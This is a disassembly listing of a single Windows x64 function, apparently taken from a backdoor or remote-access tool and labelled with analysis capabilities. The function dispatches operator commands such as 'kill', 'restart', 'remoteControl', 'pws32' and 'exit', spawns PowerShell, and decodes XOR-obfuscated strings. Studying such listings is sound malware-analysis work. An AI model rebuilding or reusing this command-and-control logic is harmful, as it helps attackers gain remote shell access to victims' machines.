Function at 0x140006ee0
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp + 0x1f], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rbp + 0x27], rcx
mov qword [rbp + 0x2f], rdx
xor r14d, r14d
mov dword [rbp + 0x17], r14d
mov r8, qword [rdx + 0x18]
cmp r8, 0x10
jb 0x140006f32
mov rdx, qword [rdx]
mov r9, qword [rbx + 0x10]
cmp r9, 4
jne 0x140006f76
mov rcx, r14
lea r10, str.kill
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x140006f69
cmp rcx, 4
jne 0x140006f50
mov eax, r14d
jmp 0x140006f6e
sbb eax, eax
or eax, 1
test eax, eax
je 0x140007654
mov rcx, rbx
cmp r8, 0x10
jb 0x140006f82
mov rcx, qword [rbx]
cmp r9, 7
jne 0x140006f9f
mov r8, r9
lea rdx, str.restart
call fcn.14000b7b0
test eax, eax
je 0x14000765a
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], recv
mov byte [rbp - 0x29], 0
mov r8d, recv
lea rdx, str.remoteControl
lea rcx, [rbp - 0x29]
call fcn.140004070
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.140006cf0
test al, al
je 0x1400074e0
cmp byte [0x140042dc8], 0
jne 0x140007430
mov rcx, rbx
mov r8, qword [rbx + 0x18]
cmp r8, 0x10
jb 0x140006ff6
mov rcx, qword [rbx]
mov r9, qword [rbx + 0x10]
cmp r9, 3
jne 0x14000709c
movzx eax, byte [rcx]
cmp al, byte [0x14003a9f8]
jne 0x14000702c
movzx eax, byte [rcx + 1]
cmp al, byte [0x14003a9f9]
jne 0x14000702c
movzx eax, byte [rcx + 2]
cmp al, byte [0x14003a9fa]
jne 0x14000702c
mov eax, r14d
jmp 0x140007031
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000709c
movdqa xmm0, xmmword [0x14003afa0]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0x88e1e1bc
mov dword [rbp - 0x15], 0xf6b3bbb6
mov dword [rbp - 0x11], 0xdcbea2bc
mov byte [rbp - 0xd], 1
mov rcx, r14
nop
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x1c
jb 0x140007060
mov byte [rbp - 0xd], 0
lea rax, [rbp - 0x29]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140007080
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.140004070
nop
jmp 0x1400071d7
mov rcx, rbx
cmp r8, 0x10
jb 0x1400070a8
mov rcx, qword [rbx]
cmp r9, 3
jne 0x14000713c
movzx eax, byte [rcx]
cmp al, byte [0x14003a9fc]
jne 0x1400070da
movzx eax, byte [rcx + 1]
cmp al, byte [0x14003a9fd]
jne 0x1400070da
movzx eax, byte [rcx + 2]
cmp al, byte [reloc.WS2_32.dll_WSAStartup]
jne 0x1400070da
mov eax, r14d
jmp 0x1400070df
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000713c
lea rdx, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
lea rcx, [rbp - 0x29]
call fcn.140007850
nop
cmp byte [rbp + 0x11], 0
je 0x140007114
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x3a
jb 0x140007100
mov byte [rbp + 0x11], 0
lea rax, [rbp - 0x29]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140007120
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.140004070
nop
jmp 0x1400071d7
mov rdx, rbx
cmp r8, 0x10
jb 0x140007148
mov rdx, qword [rbx]
cmp r9, 5
jne 0x1400071d7
mov rcx, r14
lea r8, str.pws32
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140007179
cmp rcx, 5
jne 0x140007160
mov eax, r14d
jmp 0x14000717e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400071d7
lea rdx, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
lea rcx, [rbp - 0x29]
call fcn.140007850
nop
cmp byte [rbp + 0x11], 0
je 0x1400071b4
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x3a
jb 0x1400071a0
mov byte [rbp + 0x11], 0
lea rax, [rbp - 0x29]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400071c0
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.140004070
nop
mov rdx, rbx
lea rcx, [rbp - 0x29]
call fcn.140002c40
mov rdi, rax
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400071f3
mov rdx, qword [rax]
lea r8, [0x14003ab20]
lea rcx, [rbp + 0x27]
call fcn.140011ca8
test eax, eax
jne 0x140007360
mov rcx, qword [rbp + 0x27]
call fcn.14000e000
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000724e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140007249
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007660
mov rcx, r8
call fcn.140009744
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], recv
mov byte [rdi], 0
mov rcx, qword [rbx + 0x10]
add rcx, 3
call fcn.140009a50
mov rdi, rax
mov rcx, qword [rbx + 0x10]
mov byte [rcx + rax], 0
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140007282
mov r8, qword [rbx]
mov rdx, qword [rbx + 0x10]
add rdx, 2
mov rcx, rdi
call fcn.140010ad4
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rdi
lea r8, [0x140005390]
xor edx, edx
xor ecx, ecx
call fcn.14000e1b8
cmp byte [0x140042dc8], 0
jne 0x1400072d4
nop dword [rax + rax]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140042dc8], 0
je 0x1400072c0
mov rcx, rdi
call fcn.140009744
movdqa xmm0, xmmword [0x14003afc0]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0xd4fdb6b4
mov byte [rbp - 0x15], 1
mov rcx, r14
nop word [rax + rax]
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x14
jb 0x140007300
mov byte [rbp - 0x15], 0
lea rdx, [rbp - 0x29]
mov rcx, rsi
call fcn.140002c00
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140007600
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400075fb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000763c
jmp 0x1400075f8
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000739a
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140007395
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007666
mov rcx, r8
call fcn.140009744
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], recv
mov byte [rdi], 0
movdqa xmm0, xmmword [0x14003afb0]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0xd4fda6a2
mov byte [rbp - 0x15], 1
mov rcx, r14
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x14
jb 0x1400073d0
mov byte [rbp - 0x15], 0
lea rdx, [rbp - 0x29]
mov rcx, rsi
call fcn.140002c00
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140007600
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400075fb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007642
jmp 0x1400075f8
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], recv
mov byte [rbp - 0x29], 0
mov r8d, 4
lea rdx, str.exit
lea rcx, [rbp - 0x29]
call fcn.140004070
lea rdx, [rbp - 0x29]
call fcn.140005640
mov byte [0x140042dc8], 0
movdqa xmm0, xmmword [0x14003af90]
movdqu xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x19], 0x1d3b6b4
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rbp + rcx - 0x29], al
inc rcx
cmp rcx, 0x13
jb 0x140007480
mov byte [rbp - 0x16], 0
lea rdx, [rbp - 0x29]
mov rcx, rsi
call fcn.140002c00
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140007600
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400075fb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140007648
jmp 0x1400075f8
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rbp - 0x19], xmm0
mov byte [rbp - 0x29], 0
mov dword [rbp + 0x17], 2
mov rdx, qword [rbx + 0x10]
add rdx, 9
cmp rdx, 0x10
jb 0x140007513
lea rcx, [rbp - 0x29]
call fcn.1400059e0
mov qword [rbp - 0x19], r14
mov r8d, 9
lea rdx, str.Command_
lea rcx, [rbp - 0x29]
call fcn.1400041d0
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140007536
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp - 0x29]
call fcn.1400041d0
mov r8d, socket
lea rdx, str._was_not_recognized.
lea rcx, [rbp - 0x29]
call fcn.1400041d0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsi + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x1400075b9
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007636
call fcn.140009744
movdqa xmm0, xmmword [0x14003af70]
movdqu xmmword [rbp - 0x19], xmm0
mov byte [rbp - 0x29], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140007600
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400075fb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000764e
mov rcx, r8
call fcn.140009744
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], recv
mov rax, rsi
mov byte [rbx], 0
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140009720
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1400119b4
nop
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3
call fcn.1400119b4
nop
call fcn.1400076a0
int3
call fcn.140007670
int3
call fcn.1400119b4
int3
call fcn.1400119b4
int3